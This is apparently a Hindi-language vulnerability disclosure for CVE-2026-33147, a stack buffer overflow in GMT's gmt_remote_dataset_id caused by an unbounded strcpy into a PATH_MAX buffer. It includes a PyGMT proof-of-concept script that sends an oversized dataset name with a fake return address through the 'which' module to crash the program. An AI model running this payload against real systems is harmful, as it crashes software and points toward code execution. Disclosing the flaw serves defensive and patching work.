
स्टैक-आधारित बफर ओवरफ्लो के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, GMT के gmt_remote_dataset_id में, जो क्राफ्टेड डेटासेट नामों के माध्यम से क्रैश और संभावित कोड निष्पादन को प्रदर्शित करता है।
CVE-2026-33147 (gmt_remote_dataset_id में स्टैक-आधारित बफर ओवरफ्लो)
src/gmt_remote.c में gmt_remote_dataset_id फ़ंक्शन में एक स्टैक-आधारित बफर ओवरफ्लो भेद्यता की पहचान की गई थी। यह समस्या तब उत्पन्न होती है जब एक विशेष रूप से तैयार की गई लंबी स्ट्रिंग को डेटासेट पहचानकर्ता के रूप में पारित किया जाता है (उदाहरण के लिए, which मॉड्यूल के माध्यम से), जिससे क्रैश या संभावित मनमाना कोड निष्पादन हो सकता है।
यह भेद्यता एक निश्चित आकार के स्टैक बफर file[PATH_MAX] में उपयोगकर्ता-नियंत्रित डेटासेट नाम की प्रतिलिपि बनाते समय strcpy (या समान असीमित स्ट्रिंग संचालन) के असुरक्षित उपयोग के कारण होती है।
जब कोई इनपुट PATH_MAX (आमतौर पर 4096 बाइट्स) से अधिक हो जाता है, तो यह रिटर्न एड्रेस सहित स्टैक फ्रेम को अधिलेखित कर देता है। इसकी पुष्टि AddressSanitizer (ASan) का उपयोग करके की गई थी, जिसने स्टैक-बफर-ओवरफ्लो की सूचना दी थी।
PyGMT का उपयोग करने वाली निम्नलिखित Python स्क्रिप्ट क्रैश को पुन: उत्पन्न करती है:
import struct
from pygmt.clib import Session
with Session() as lib:
# स्टैक बफर को ओवरफ्लो करने के लिए डिज़ाइन किया गया पेलोड
padding = "A" * 4096
fake_ret = struct.pack("<Q", 0x4141414141414141) * 100
payload = padding + fake_ret.decode("latin-1")
# 'which' मॉड्यूल के माध्यम से ओवरफ्लो को ट्रिगर करें
lib.call_module("which", [payload])
यह एक मेमोरी सुरक्षा भेद्यता है।